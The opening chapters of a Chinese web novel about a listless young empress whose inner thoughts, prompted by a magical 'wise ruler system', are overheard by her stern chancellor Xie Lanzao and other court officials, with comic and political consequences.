《被朝臣听到心声后》 第1章 001 孟秋七月,夜风寒凉。 赵嘉陵从梦中惊醒,擦了擦额上的汗水。 她梦到一**日入怀,差点把她给烤成焦炭,差点以为回到十日并生的上古时期。 她恹恹地躺在长吁短叹,平常不如意就算了,做个梦都要欺负她。前两天,在亲近的内侍被拖出去处理后,赵嘉陵选择躺平。什么亲政的、翻手为云覆手为雨的皇帝,都见鬼去吧。 她不努力了还不行吗? 区区权臣当道而已,难道谢兰藻还能嚣张把她脑袋拧下来? 她死了,宗室里还有谁能继承皇位呢?好吧,挑挑拣拣勉强还算是有的。但那又怎么样,原本皇位也轮不到她来坐。 【滴,明君系统载入中——】 在奇怪的声音响起来时候,赵嘉陵仍旧面无表情地躺着。 她不敬神佛也不怕鬼,在奋斗了九次失败后,她就是怨气冲天的女鬼本鬼。 【亲爱的宿主,我是明君系统233,专门来拯救您的,我会竭尽全力帮助您成为一个流芳百世的千古明君,避免您走向毁灭的结局。】 “哦,我不需要。”赵嘉陵还有心情回答她脑子里那什么鬼明君系统。 她翻了个身。 睡不着。 再过一个时辰,她就会被尽忠尽职的宫女从龙榻上挖起来。 在卯时前往大明宫宣政殿听朝,听持着笏板的朝臣叽里呱啦地议论,然后—— 没有一件事情能够她自己做主。 她就是个批答的工具,哦,甚至连批答也不必她亲自动手,女官可以代劳。 那她为什么要那么辛苦,起早摸黑去上朝? 【宿主,您可是皇帝呀,虽然您天资驽钝,是烂泥扶不上墙,但您要是愿意跟233一起努力,完成修身齐家治国平天下任务,您就能成为千古一帝!】 赵嘉陵捂着耳朵。 【千古一帝不都是一抔土?我要那身后名有什么用?】 明君系统:“……”它傻眼了,是它来的时机不对吗?怎么宿主开始大摆特摆了?它思考了一会儿,转变了策略,它说:“我是神仙。” 【那你应该去炸了皇陵,把我父皇魂魄找出来,他一定会很高兴。】赵嘉陵。 明君系统:“。” 原来是个大孝女。 【宿主,只要您完成任务,达成成就,系统就会为您发放奖励。】 赵嘉陵不屑:“无事献殷勤,非奸即盗。” 【宿主,我们是时空局的,是应你们大雍未来万万生民之愿,才选中了您这个时空,来助您成为真正的九五之尊的。土豆、玉米、番薯,您不知道吧?火药、锻炼钢铁技术、先进造船技术,您不想要吗?还有牛痘接种法、青霉素提炼——】 赵嘉陵没回答。 谢天谢地,她在系统的叨叨中,成功地睡过去了。 睡着就睡着,毕竟它降临的时间不太对。明君系统也有点惭愧,但在扫描赵嘉陵发现她做任务的意愿真真切切是“零”的时候,系统急了。 如果赵嘉陵不做任务,那它来大雍干什么?当挂件吗?趁着赵嘉陵睡觉的时间,系统火速地翻阅前辈留下的应对奇葩宿主的一百零八计手册,挑挑拣拣选了一条:心声外放。 虽然它绑定的宿主是赵嘉陵,但谁让宿主是皇帝呢,底下一堆帮她做事情的能臣。 只要让那些臣子动起来,也能够达到目的。 等到宿主醒来,再给她一次选择的机会。 寅时正。 昏昏欲睡的赵嘉陵果真被宫女从床上请了起来,替她穿戴衣冠。 赵嘉陵耷拉着眼皮,还记得昨晚那个可笑的梦。 什么系统、神仙的,奇怪得很。 她费力地睁开了眼睛,看到了面色惶恐的小宫女。 赵嘉陵无力说话。 才合上眼,一声“宿主”就在她的脑海中炸开了。 赵嘉陵:“……” 不是,怎么还没睡醒? 头皮上传来一道刺痛,赵嘉陵看着给她梳头的小宫女。 眼神像是在看死人。 小宫女吓得够呛,忙俯身跪地求饶。 “起来。”赵嘉陵撇了撇嘴,她看到梳妆台上的断发,问,“谢兰藻每天掉几根头发?” 伺候的宫女:“……” 她们的皇帝陛下喜怒无常,总是问一些无厘头的问题,说来说去都离不开谢相,根据前辈们留下来的生存准则,不答话就是了。 赵嘉陵唏嘘叹气。 脑子里明君系统还在不停输出,赵嘉陵眉头一拧,很不耐烦地说了声:“我不!” 殿中的宫女太监面面相觑。 陛下在不什么不? 明君系统也想叹气,它好言好语地劝宿主,可宿主不听。 那就别怪它心狠手辣了。 “陛下,您还上早朝吗?”说话的宫女是新提拔上来的,叫银娥。她先前的那个已经被拖出去砍了,听说血流成河。至于罪名,说是蛊惑陛下,妖言惑众。其实大家都知道,那位跟陛下大声议论对付谢相,被太后宫里的人听见了。一向不管事的太后下旨处决内侍,陛下去求了也没用。 惹陛下不快可能会死。 混成陛下的亲信也活不长。 银娥的脸色惶恐而又仓皇。 “不去了。”赵嘉陵说,她被系统吵得头疼,想到昨天那个被烤干的梦,无由来气。她一甩袖子,找了个理由,“身体发肤受之父母,朕今日断发一根,自觉有愧于太后,不敢见人。” 银娥:“……” 明君系统:“……” 先帝在位时候还算励精图治,每日视朝,赵嘉陵登基后先是将常朝改为三日一次,没过多久又改成五日一次。朝臣们一开始没怎么闹,等到她提出十日一次时,朝臣们炸锅了,又拿出了“祖宗之法”,愣是将它变回每日一朝。 决定不去早朝的赵嘉陵脱了才穿好的衣服回到床上躺倒。 明君系统痛心疾首:【宿主,身为明君的第一步就是要勤恳视朝啊!】 一个连早朝都不去的皇帝能够有什么出息的?它倒是能将心声外放,可要是宿主跟平行时空的某朝某帝一样,二十年不上朝呢?那心声外放给谁听啊? 赵嘉陵木木地回复那劳什子鬼系统:“我是中平之姿,做不了圣明君主。” 她是先帝的幺女,顶上有姐姐哥哥,按理说轮不到她来登基。在礼法上唯一能立得住脚的是“嫡出”。但她母亲是继后,前头几个是元后出的,所以她也没有优势。可谁能想到呢,她的太子大哥和二姐斗得两败俱伤,气得先帝差点驾鹤西游后,被双双废为庶人。而且这俩被暗杀过、被下毒过的没能活太久,蹬腿在先帝前。 三哥忠王倒是没卷入夺嫡之战里,是他不想吗?不,因为他是个瘫子。 微微瘸腿还有希望成为九五之尊,瘫子难道让人扛着上朝吗? 她还有个四姐,身体很健康,但心理变态,是皇室知名疯子。 她以前最喜欢的事情是逗高韶,等到巧取豪夺,终于让高韶变成她的女驸马后,她就像肆虐的洪水一泻千里,根本没人敢拦她。 她做得最多的事情是跟高韶闹别扭后上表出家。 第一次想舍身为尼。 可谢兰藻说高韶不喜秃人。 然后她就开始入道了。 赵嘉陵登基五年,收到四姐关于出家的奏疏不下十份。 皇帝是管这些事情的吗?赵嘉陵不想搭理,但四姐会入宫,会跑到太后跟前哭诉。 赵嘉陵一开始出主意,说把高韶拖出去砍了从根源上杜绝一切,结果被四姐堵在殿中指桑骂槐整整一个时辰。 她四姐平时丰神俊逸,神仙之姿,但发疯起来根本不是人。 赵嘉陵不敢管她。 只能批了。 随便她去哪个道观,反正到了最后不是她自己灰溜溜回来,就是高韶去请她。 明君系统不知道赵嘉陵在想什么,它安慰道:“宿主,虽然你资质差,但是运气好啊。” 赵嘉陵:“……”她要这个好运气干什么呢? 宣政殿里。 朝臣乌泱泱一片。 宫里的内侍在仪仗都备齐、朝臣站得齐整之后,才姗姗来迟宣告圣人的旨意。 朝臣中,站在最前列的是中书令谢兰藻。 她持着笏板,冷若冰霜的脸上看不出神情。 谢家是先帝的母族,她父亲早逝,母亲是先帝朝的宰执,先帝朝所有政策都是经由她之手推行的。身为宰相之女的谢兰藻,同样被先帝看重,时常出入宫廷,后又成为中山公主的女官。可再怎么样,以二十一岁的年龄位于朝臣之首都是一件不同寻常的事。 先帝遗旨要她辅政,这超迁在本朝是前无古人,大概也是后无来者的。 不服气的人自然有很多,但最后谢兰藻安然立身于朝堂之上,而那些有异议的,坟头草都一丈高了。 当今陛下不喜谢相。 明着跟谢相作对的次数不可胜计,至于暗着来的,那更是没法计算。 但很可惜,陛下的“努力”是失败的。 因为太后站在谢相那边。 “这——” “政事堂中再议吧。”谢兰藻平静地说道。 常朝也是走个形式,军国大事都是宰臣们在政事堂中议论的。 但商议出来的结果最终还是得让皇帝知道。 于是,在那能容四五个人翻滚的大床上睡了个爽的赵嘉陵两眼一睁,就听到了银娥传消息,说是谢兰藻求见。 她的笑脸立马就垮了下来。 她在心中跟系统说:“你不是神仙吗?能不能让谢兰藻闭嘴?” 她只想心无旁骛地欣赏谢兰藻的美色,不愿意听她风刀霜剑似的话。 况且,前段时间她还在密谋对付谢兰藻。 此刻有些心虚。 作者有话说 显示所有文的作话 第1章 001 第2章 002 浴堂殿中,赵嘉陵正襟危坐。 在召见亲近臣子时候,赵嘉陵会很随性,但在谢兰藻的面前,她要努力地撑起君主的威仪。 当然也没有就是了。 谁让谢兰藻是个目无君上的权臣呢。 赵嘉陵在心中哀嚎。 明君系统见缝插针:【宿主,只要您成为明君,就能驾驭臣子了。】 赵嘉陵暗暗地嘁一声。 她是不是被谢兰藻给气病了,癔症越来越严重。先帝那么虔诚都没见到神仙,那她能吗? 正胡思乱想着,谢兰藻已经被侍从引入殿中。 赵嘉陵如往日见谢兰藻一般,一边拿出十足的恭敬,仿佛站在跟前的不是一个同龄人而是帝师;另一边暗暗在心中预演下马威,让谢兰藻诚惶诚恐地跪在她跟前,写个百八篇吹捧她功绩的锦绣文章来哄她高兴。 可就算她成为独断的君主,也不可能的吧? 赵嘉陵凝眸注视着谢兰藻。 是霜雪中凛然不可摧折的翠竹,是从迢迢关山中缓缓升起的一片清月。 谢兰藻风姿绰约,出尘绝世,反正怎么都不可能变得奴颜婢膝而谄媚。 赵嘉陵暗暗地叹气。 她想起一些旧事,当年她可喜欢谢兰藻那张脸。她跟父皇讨要谢兰藻,想让她做自己的女官,但被谢兰藻无情地拒绝了。 谢兰藻义无反顾地选择了她已经开始参政的二姐——明明谢兰藻才比她大两岁,结果人家腿一迈,更是直接往前赶了好几年,不屑跟她为伍。 “陛下?”谢兰藻抬眸看失神的赵嘉陵,她的眉头不可遏制地微微蹙起。什么不可直视圣颜,冒犯天威对她来说都是不存在的。她清冽如雪的视线带着几分审视,肆无忌惮地扫过赵嘉陵,毫不掩饰自己身上锐利的锋芒。 她的声音将赵嘉陵游离的神思拉扯了回来。 赵嘉陵还在感慨昔日的谢兰藻的无情冷酷,一抬头就被眼前真实存在的宰臣冻得浑身打了个寒颤。她开始思考自己是否做了什么不得体的举动。沉默了一会儿,她干巴巴地编理由:“朕昨夜受凉,有些头疼。” “陛下请人看过了吗?”谢兰藻问。 “尚未。”赵嘉陵说,她期待地望着谢兰藻,希冀她识相点去请御医,将她从那种冷凝禁锢的气氛中解放出来。但谢兰藻显然没让赵嘉陵如意。 她取出了一份折子上呈,她问:“陛下前头取消春讲,那秋讲是否照旧举行?侍读又是何人?” 赵嘉陵:“……”所谓秋讲指得是秋日进行的经学讲筵,由博学多识的侍讲来给皇帝讲解经文和史书。一年分为春秋二季,是大雍的惯例。 停了春讲也是有缘由的。 赵嘉陵已经记不清那侍讲学士的名字了,只记得对方因为时常给她讲史书中人君杀戮大臣,以及大臣不奉诏令便诛杀小臣之事,被言官弹劾,说他并非宽仁之辈,常进邪说,离间骨肉,疑贰君臣。言官是朝臣另一可怕群体,暂时没有发生前朝那种“允文允武”大战春明门外的荒唐事,但横飞的唾沫星子足以将人喷得恨不得龟缩回娘胎。 同时被言官攻击的还有另外几个侍讲。那些侍讲以“清正”“博学”闻名朝野。他们关注她读书、习字、赏画甚至是日常生活的方方面面,认为她的一举一动当被讲筵侍讲所知。讲史的尚能让赵嘉陵在心中暗自欢快一阵,可这些忠义之士却如嗡嗡嗡的烦人苍蝇。 可赵嘉陵知道,“祖宗之法”不可更改。 最难黜落的就是这些道德君子。 但这帮“贤德之士”最终被谢兰藻解决了。 此事之后经筵日讲搁置。 也算是赵嘉陵登基后的春风得意事。 可现在谢兰藻又将秋讲提上了日程,赵嘉陵从头发丝开始犯苦。 “陛下可有心仪的人选?”谢兰藻又问。 赵嘉陵抚了抚额,她很为难地报了几个名字——都是去年或者前年已经病殁的大儒。话音落下的时候,赵嘉陵悄悄地觑着谢兰藻,想从她脸上找出雷霆之色,可被谢兰藻抓了个正着。 赵嘉陵心尖一颤。 她的眼神闪躲,旋即又挺直了背脊,大着胆子看谢兰藻。 朕是皇帝,看她一眼怎么了?! 【宿主,讲筵的事情不能拖。您的任务里有修身线,召开讲筵能够提升自身涵养。】明君系统的声音在赵嘉陵的脑海中响起来了。 【涵养能让谢兰藻不冷眼看我吗?】赵嘉陵哼了一声,对系统的任务不屑一顾。 阶下。 谢兰藻浑身一凛。 她困惑地抬眸。 她听到了对话声,是幻听吗? 【宿主都不看一眼奖励的么?宿主只要达成成就,就有可能获得一些奖励,如果宿主对点科技树没兴趣,也能抽到提升自己的,比如长高。】明君系统继续引诱赵嘉陵。 赵嘉陵双眼无神,继续跟系统胡言乱语:【长多高?能有多健?是能一手圈住谢兰藻的腰抱着她来一场胡旋舞吗?】 谢兰藻:“?” 她再一次听到了对话声,其中一道意义不明的声音来自哪里,尚不可知。 但另外一道摆明了是陛下的嗓音。 可陛下并没有开口。 难不成殿中还埋伏着其余的人,这是陛下想出的新的作弄她的办法吗? 明君系统决定顺着赵嘉陵说话,它是个博览群书的系统,知道很多“朕与宰相上龙床”的典故。 于是它说:【宿主,只要您成为明君,成为千古一帝,就算将谢相立为皇后也无不可。当然,宿主要是厌弃她,只想着折辱她,那也能将她圈紧在后宫中。不过根据系统分析,折辱谢兰藻成功概率极低,以谢兰藻的烈性,十有八.九会选择跟您玉石俱焚,也就是弑君。尽管这也算是一种“殉情”,但我劝宿主不要轻易尝试。】 赵嘉陵在心中尖叫:【立谢兰藻为后?!你疯了还是我疯了?哦,是我疯了。我的臆想难道是这样的吗?朕只是单纯喜欢谢兰藻的脸罢了。】 谢兰藻脑门上青筋蹦了蹦,她沉着气,想要以不变应万变,但传入耳中的声音越来越荒谬,她厉声道:“陛下!” 赵嘉陵:“啊?”她被谢兰藻忽然作色吓了一大跳。 谢兰藻这是怎么了? 难道因为她之前报出的名字? 赵嘉陵琢磨片刻,讪笑道:“此小事,宰辅决定就好。” 【宿主,您决定接任务了?明君当修身齐家治国平天下。请宿主完成“主线任务·修身一·经学讲筵论经”,让朝臣觉得您还有救。】明君系统惊喜得声音都甜腻起来。 赵嘉陵沉默。 【朕没救了吗?你放屁。朕十四登基,在位五年,虽然没有任何功绩,但也没有乱砍一颗人头。如果有,那都是谢兰藻干的,是她为了能权倾朝野,不择手段清除异己,干掉了先帝留给朕的辅政大臣。十九岁,正当躺平的年纪。只要我吃好喝好那政事都给宰臣烦恼去吧,朕两耳不闻窗外事,一心活到九十九。】在沉默数息后,赵嘉陵对系统进行了一连串密集的攻击。 明君系统卡壳,安静如鸡。 谢兰藻的耳朵经过一番轰炸,脸色铁青。 她的眼神冷峻如刀,力图从这一连串的话语中分辨出皇帝真实的意图。 是陛下不满宰臣执掌政事吗? 陛下的确早过了亲政的年龄,可看看她登基后都干了些什么事情啊?先是企图省事要改变祭祀的地点和时间,任用奸佞小人,想要借助宦官分朝臣的权,还想当然的开始“变法”。陛下灵机一动,朝臣们就得准备好收拾烂摊子。这么以来,倒不如让圣人垂拱而治。 榆木脑袋,亡国之态。 这可是先帝说的。 浴堂殿中并无侍从在。 谢兰藻的视线从屏风扫过,没看出半点端倪。 毕竟是宫中,她总不能放肆到当着陛下的面开始大搜检,只能佯装不知情。 闹剧而已。 在这五年来至少发生过九次。 至少赵嘉陵没在朝堂上胡言乱语。 谢兰藻一忍再忍,但赵嘉陵的感慨给她带来极大的精神污染。 当年软绵绵的小公主怎么长成了这副德行?! 乌烟瘴气! 一刻都待不下去了。 谢兰藻朝着赵嘉陵一拜,走之前冷飕飕地留下一句:“请陛下勿要沉迷藏挟幻术。” 赵嘉陵茫然。 唉?谢兰藻这是什么意思? 谢兰藻从浴堂殿中退出去后,脸上的怒容消失,又变回了喜怒不形于色的泰然从容模样。 她召了内侍仔细问赵嘉陵的起居。 先帝在时,内臣不可私自泄露禁中事,但如今的局势有所不同。谢兰藻大权在握,又有太后撑腰,内侍不敢隐瞒她。 “陛下不曾沉迷百戏,近日甚少娱乐。浴堂殿中,也无闲人藏身。” 谢兰藻眉头蹙起。 不是陛下的把戏,那声音从哪里来的? 是她太过疲惫了?可就算再疲惫也不可能臆想出那些话来! 大殿里。 赵嘉陵不知道谢兰藻的苦恼,她四仰八叉地躺了下去,痛苦发问:“朕都十九了,还要读书吗?!” 明君系统幽幽道:“宿主,活到老,学到老。” 作者有话说 显示所有文的作话 第2章 002 第3章 003 以前赵嘉陵靠着想做实权天子、乾刚独断的美梦强撑着去上朝。 可当她决定做谢兰藻的傀儡后,上朝就等同于噩梦了。 起早贪黑短命鬼。 在早朝时候,赵嘉陵脑子里回荡着这句话。她双目无神,没有看阶下群臣一眼。 【宿主,作为明君的你该主动议事问政了。】明君系统在赵嘉陵神游物外的时候上线。 【好好好。】赵嘉陵在心里敷衍,这一觉醒来,自称系统的东西还跟着她。看来她的臆症已经到了无药可救的地步。不过看看她几个姐,她又觉得自己可以捞捞。 肃静的殿中很突兀地响起几声杂音。 是谁在说话? 殿中侍御史的眼神一下子凛冽起来。侍御史虽然只是从七品的小官,但因为有着掌管宫廷礼仪,纠察官员的职责,也被列为朝参官。乍一听到动静,殿中侍御史立马支棱起来,用鹰隼般的视线找寻御前失仪的目标。 在宣政殿中说小话,岂有此理! 相较于殿中侍御史的义愤填膺,不少朝臣抱着看热闹的心思。 在上朝的时候窃窃私语,这不是触霉头吗?等等,那个胆大包天的人说什么来着?听到声音开始回忆的朝臣,在片刻后脸色发绿。 谢兰藻抿着唇,再度听到对话声,她的心中反而没有掀起波澜,这证实昨日不是她的一场梦。 可宣政殿里,就算陛下再荒唐,也不可能藏人来变戏法。 她不动声色地扫视一侧的同僚,在对方的脸上看到一种恍惚和惊惧。 还有其余人能听到? 明君系统在跟赵嘉陵斗争失败后,残忍地选择了心声外放。细碎的响声散后,殿里是落针可闻的寂静。明君系统满意了,准备继续发放任务,震惊大片人。短短的一句话可能只是勾起朝臣的疑虑,那要是它来个喋喋不休的语言攻击呢? 【宿主,宿主。】明君系统的声音欢快。 昏昏欲睡的赵嘉陵勉强打起精神,她也不想在群臣跟前犯病,但谁让这声音太吵闹。不过,她在心里回应,没人会知道吧? 赵嘉陵胡思乱想着,她的视线落在谢兰藻仙姿玉貌的脸上,开始自言自语。 【好想死啊,我要睡觉。】 【妨碍朕睡觉的,统统拖出去砍了。】 【朕是昏君,谢兰藻会废黜朕吗?她要是学了伊霍,那选谁来继承皇位?】 【她会给我一个怎么样的封号,安乐公?海昏侯?被废黜后我会住在哪里?】 【宿主!】明君系统宕机片刻,不是,不理她就算了,宿主想象力怎么如此丰富? 赵嘉陵不理会系统,她的眸光落在谢兰藻的身上。 谢兰藻位列前排,可跟御座隔了一段距离,看不大清,但不妨碍赵嘉陵自动勾勒她的容貌。 【她会将朕囚禁在她的家宅中吧?最好是这样,金屋藏娇!】 【谢兰藻坏,但好颜色。】 【朕好馋啊!】 赵嘉陵在心中爆发了一波无能的小情绪,等她思绪回笼,谢兰藻已经跪在地上了,身后齐刷刷跪一片。 倒不是所有人都能听到心声,但看宰相跪了,除了从众还能怎么办?难不成直挺挺杵在那当晾衣杆吗? 赵嘉陵:“?”怎么回事? 跪在地上的谢兰藻很明显地感知到落在自己身上若有若无的视线。 她听到的是陛下的嗓音,还有其它朝臣同样听见了。或许后排的人会以为陛下在说话,但她确定,陛下一直没有开口。 声音哪里来的?是陛下的心声?她怎么听到了?有几个人听到?后头跪下的人脸上茫然,是不是不知情? 谢兰藻面如寒霜,心中惊疑不定。 跪在谢兰藻不远处的是户部尚书。 她将那些话听得一清二楚,她斗胆直视天颜,可陛下没说话,更没有一个与她声音相似的人替她出声。 她紧张地咽了咽口水,偷偷地抬头。 她跟谢兰藻的母亲是故交,是在改制后少有的打入中枢的女官。 她也算是看着谢兰藻长大的,知道她不可能妄行废立之事。兰藻虽然是从中山公主府上出来的,但说起来,她跟陛下是一起长大的。 金屋藏娇?难道是陛下想将兰藻纳入后宫?陛下登基数年,仍旧是小孩子脾性,非要跟兰藻作对。她还是公主的时候,就问先帝和中山公主讨要过兰藻数回,在被拒绝了之后,甚至不死心溜出皇宫—— 所以这些年,陛下与兰藻其实是相爱相杀?! 她们是那种关系! 户部尚书的视线一下子变得灼灼,像是燃烧的火。 【可能是被宿主您的威仪给吓到了。】 明君系统当然知道是自己外放了赵嘉陵心声导致的,但它不说。 赵嘉陵没心情思考这话的真假,总不好让文武百官乌泱泱跪一地,她恹恹道:“起。” 紧接着大太监一句尖细悠长的“起”响彻大殿。 依照惯例,接下来是朝堂议事环节。 谢兰藻眉头蹙起,还沉浸在赵嘉陵的心声中。 宣政殿中,一片死寂。 在这个时候,尚书左仆射、安国公桓启持着笏板站了出来,道:“臣有事要奏。” 他的思绪还有些发懵,不知道刚才谢兰藻为什么忽然跪下,带着群臣一起俯身叩拜。可不是关心这种小事的时候,他抬起头,清朗响亮的声音在殿中回荡:“八月开秋讲,侍讲人选不可轻忽。臣愿为陛下举荐一人。” 赵嘉陵一听“秋讲”就头疼,她压根不想学习。目光在桓启的脸上停留,按照血缘关系来论,桓启是她的舅舅。她应当给桓启一个薄面,但是——赵嘉陵又悄悄地觑了觑面无表情的谢兰藻。内心很快就有了评判,她道:“中书令已为朕寻来侍讲,员额已定。” 桓启心中一梗,不服气道:“谢中书行事未免不当,但以私心黜落陆适。”他倒是想往讲筵里塞人,奈何谢兰藻根本不听他的。尚书左仆射官品虽居上,可中书令执笔政事堂,左仆射早已无宰相之实! 赵嘉陵困惑道:“陆适是谁?” 谢兰藻道:“先帝启元五年进士,其人不忠不正,轻薄无行,不堪为人师范。” 在以往赵嘉陵势必要与谢兰藻作对的,但决定摆烂后,她的态度不同寻常的和气:“有理。” 简单的两个字不仅让谢兰藻错愕,国舅桓启更是一副大受打击的震惊模样。他才是陛下的母舅,陛下到底跟谁一家的?!桓启立马道:“臣窃见陛下有先圣之恭谨小心,大小之政,皆委任于臣下,自身谦让不决。假使所委之人为举世之忠贤,是我大雍之幸。万一有奸邪在侧,岂不危害社稷?小人当道,陛下唯其言之是为是,唯其所任之贤为贤。小人在朝,视神明于无物,玩陛下若婴儿,请陛下奋志,亲自裁断!” 朝堂之上互相攻讦的戏码再度上演。 赵嘉陵见怪不怪,她放飞思绪:【玩什么玩,谁玩?】 在部分朝臣的窥视下,谢兰藻的脸色又难看了点。 桓启见谢兰藻神色变化,眉头一扬,尽显得意。 话题一挑开没那么容易停歇,桓启只是扯开了一个序幕。 监察御史孟宣和站了出来攻击桓启举荐的陆适:“陆适擅名世之学,而不能行君子之操。其进也无功绩,其退也怨望君上。此人目无尊上,数度诋毁宣启之政!”这话一出,群臣色变。监察御史也是御史台的属官,虽然只有八品,但跟殿中侍御史一样,常朝时候有其班列。在朝堂上唇枪舌战的往往是孟宣和这样的监察官,或者左右拾遗那样的谏官。 宣明、启元是先帝时的年号,宣启之政指得是先帝朝时,在宰相也就是谢兰藻之母推动下的一系列改革,其中最重要的也是经常遭到非议就是分科举为“乾、坤二榜”,开启女子入外朝为官的先例。孟宣和即是通过女科入朝的士人。 非议宣启之政就是不满先帝,在当今圣人不准备变革的情况下,这一顶大帽子谁也不敢戴上。 文武百官不敢说话,但明君系统很活泼。 它无视了赵嘉陵一个任务都没做的情况,给她颁了一个新的主线任务。 【宿主,开启主线任务·治国·除奸佞一·国舅之败,加油完成哦。】 奸佞?一?国舅? 能听到赵嘉陵心声的朝臣支起了耳朵。 有一就有二,除了国舅还有谁?对了,国舅听得到吗? 怀着这样的心思,不少人偷偷瞧桓启。 被注视着的桓启一脸莫名其妙。 赵嘉陵:【朕只是傀儡,朕没有权势,朕不干。】 赵嘉陵:【不过,国舅他奸在哪里的?佞在哪里?】 明君系统:【宿主,等等,我去查一下。】 一会儿后—— 【桓启这个老登他不是什么好东西,他渎职、他死贪!他打着太后的旗号抢占别人的田地,他丧心病狂逼良为娼!他是忠王党!他跟忠王说宿主你是三岁小儿,随便哄哄就上当了。他还说你没出息,连个谢兰藻都收拾不了。】 赵嘉陵:【忠王是个瘫子。】 明君系统:【他有儿子。对了,老登准备把女儿嫁给忠王当继室。不过怕太后不同意,一直没敢提。】 赵嘉陵震怒,这不是推人入火坑吗!但一想到她连看什么书、书房中挂什么画都没有自由,还能解决大臣吗?她的神色立马萎靡了下来。 她倦倦地说:【再议吧。】 此刻,底下听到心声的朝臣额上冷汗涔涔,大气不敢出。 他们知道的是不是太多了?! 作者有话说 显示所有文的作话 第3章 003 第4章 004 凡事带上一个“党”字,就不容易善了。 当今御极五年,别说她没有犯什么大错,就算她真的偏心奸佞、残害忠良,朝臣们也未必会兴起大逆不道的废黜皇帝的念头,顶多是祈祷她早点驾崩。 宗室或许有非非想,但忠王赵清操就是个瘫痪在床的,谁会想不开支持忠王啊? 不脑子有问题吗? 在心声道破之前,没人脑子中有“忠王党”三个字。 忠王赵清操是先帝章献皇后所出,与废太子衡山王、中山公主、金仙公主都是一母同胞。 章献后是在金仙公主出生几个月后薨逝的,之后,赵嘉陵的母亲桓观音才入宫做了继后。 在衡山王和中山公主两败俱伤后,赵清操的确是最有资格继承皇位,又是长又是嫡的,但谁让他在几年前就因落马瘫痪了呢?他还算是好的,捡回了一条命,像先帝的胞弟直接与世长辞了。 赵嘉陵待宗室还算是宽厚,她登基没多久,朝臣便上疏议论废太子事。赵嘉陵合理怀疑是谢兰藻想要为她二姐讨公道,至于废太子那是顺带的。 她顺水推舟恢复二姐赵德音的封号“中山”,但废太子想要重新戴上“太子”这一名号是不可能的。赵嘉陵只给了一个衡山郡王的封号,至于朝臣有意见,那就找先帝说去吧。是先帝废黜他们的,跟自己可没关系。 反正追封结束后,赵清操感动得涕泗横流。 难道是那个时候就开始作秀了吗?赵嘉陵思考片刻,继续摆烂。 有谢兰藻在,她那榆木脑袋的舅舅想扶赵清操的儿子上座,不是痴人说梦吗?他成功的机会在哪里?要想扶赵清操一系,得先把自己弄死吧?! 赵嘉陵在心中震声:【系统,你说桓启是不是想毒死朕!已知桓启跟诋毁宣启之政的士人走得近,说明他们臭味相投,想要废黜先帝的政策。但朕是不可能同意的,正常来说,只要是女子当政都不会往后退一步。衡山郡王和中山公主膝下都只有女儿,下一代只有赵清操家的是儿子!阴谋,都是阴谋!】 明君系统没吭声。 其实也没那么复杂,桓启就是被皇帝冷落了内心不爽,再看皇帝至今无嗣,猜测皇帝喜欢女人,想要两头押宝而已。 底下的朝臣脸色变幻莫测,氛围一下子就变得不对头。胆子大的偷偷觑了眼赵嘉陵的脸,更是生出了几分惊骇。 桓启被看得莫名其妙。 本来还雄赳赳气昂昂的,想要跟不对付的御史唇枪舌剑几百回合,可现在人家都不搭理他了。 怎么回事?他的心跳忽然快了起来,连呼吸都要暂停了。 整个朝堂安静了下来。 赵嘉陵不明所以。 她在心中将桓启骂了一顿,可也没有解决此事的想法。视线扫过不说话的百官,没事启奏,那就退朝。 于是赵嘉陵试探性地站了起来。 往常总会在关键时刻打断她的谢兰藻也没声。 赵嘉陵扬了扬眉,露出一抹愉悦的笑容。 她最后看了谢兰藻一眼,在美色和下朝中选择了后者。 退朝! 皇帝走了,但百官可没到下衙的时候。 出了宣政殿中,不少人的视线往谢兰藻的身上扫,神色有些莫名。 谢兰藻哪会猜不到同僚们的想法,到了政事堂后,立马和亲近的朝臣开了个小会。 “诸位也听到陛下的声音了?” 中书舍人脸色憋得通红,看了谢兰藻好几眼,没忍住说:“谢中书,以色侍君,终究有违清白操守,恐后人史笔不留情啊!” 谢兰藻:“……” “不是,那道声音怎么回事?真的是陛下在说话?!陛下怎么能在群臣跟前那样说?” “安国公当真是忠王的党羽?既然陛下知晓此事,为何没有处置安国公?” “那是陛下的心声,我观察了,似乎不是所有人都能听到。至少安国公没有。”中书侍郎道。依照安国公的个性,如果听到了陛下那么讲,早就跪在大殿中哭爹喊娘叫太后了。 …… 谢兰藻定了定神,好在中书省中的朝臣对私人八卦兴趣甚少,没将事情往她身上攀扯。她思考了片刻,“并非陛下一人的声音。”诸如“老登”之类的话语,并不是陛下亲口所言,反而像是有谁藏在暗处与她对话。 中书侍郎猜测道:“难道是先帝之灵?”大雍列祖列宗在上,是他们都看走眼了,陛下才是真正的天命之人? 中书舍人用手肘撞了撞中书侍郎,提醒道:“是道女声。” 中书侍郎灵光一闪,拔高声音:“神灵!一定是神灵!陛下自非常人,恐是以天帝之尊,降神人间,以应帝王之兴起。故而陛下通真接灵,澹然与神君同居!天佑我大雍,天佑我大雍!” 他激动得泪光闪烁,语调抑扬顿挫的。原本与他并列的舍人悄悄地往后退了一步,怕被他飞溅的唾沫喷到。 谢兰藻不想提“怪力乱神”之事,她蹙眉道:“安国公之事不知真假。”陛下没有下口谕,但凭借那道奇怪声音的一面之词,也难以将安国公定罪。况且这心声来得诡异,谁知道是陛下真有那心思,还是鬼祟在朝堂蛊惑文武百官? “既然安国公不知,那正好可以去调查。他与忠王的书信不必管,但贪赃枉法、强占农田之事,总不可能没有痕迹可循。”谢兰藻冷静道。她们得确定那声音传递出消息的真假。 “要不要请大德入宫为陛下祈福讲经?”细微的声音传出。 中书侍郎的脸色刷一下沉了下去,哼声道:“皇宫乃祖灵所在,邪祟安敢来犯?” 谢兰藻:“……” 皇宫中。 下朝后的赵嘉陵放空了脑子,用了早膳后才有闲工夫思考。 她道:“将安国公进献的东西翻出来全部都丢——都送回库中。” 谁知道桓启会不会在上面动手脚!她本来想说扔掉,但动静太大,恐怕太后过问,甚至外朝的官员还要弹劾她奢侈浪费。 【宿主在干什么?】明君系统呆滞。 【防患于未然。】赵嘉陵心中说。她也不知道这系统是她臆想的还是真的有神奇的存在来帮她,反正依着内心警兆做事总不会错。 【宿主这是多此一举。您现在都知道桓启不是好人了,得行动起来。两个任务至少得完成一个吧?】明君系统焦虑地催促。摊上这么个宿主它能怎么样?只恨没在赵嘉陵最有斗志的时候加载完毕。 【你是要我无凭无据将国舅下大狱?】赵嘉陵回复。 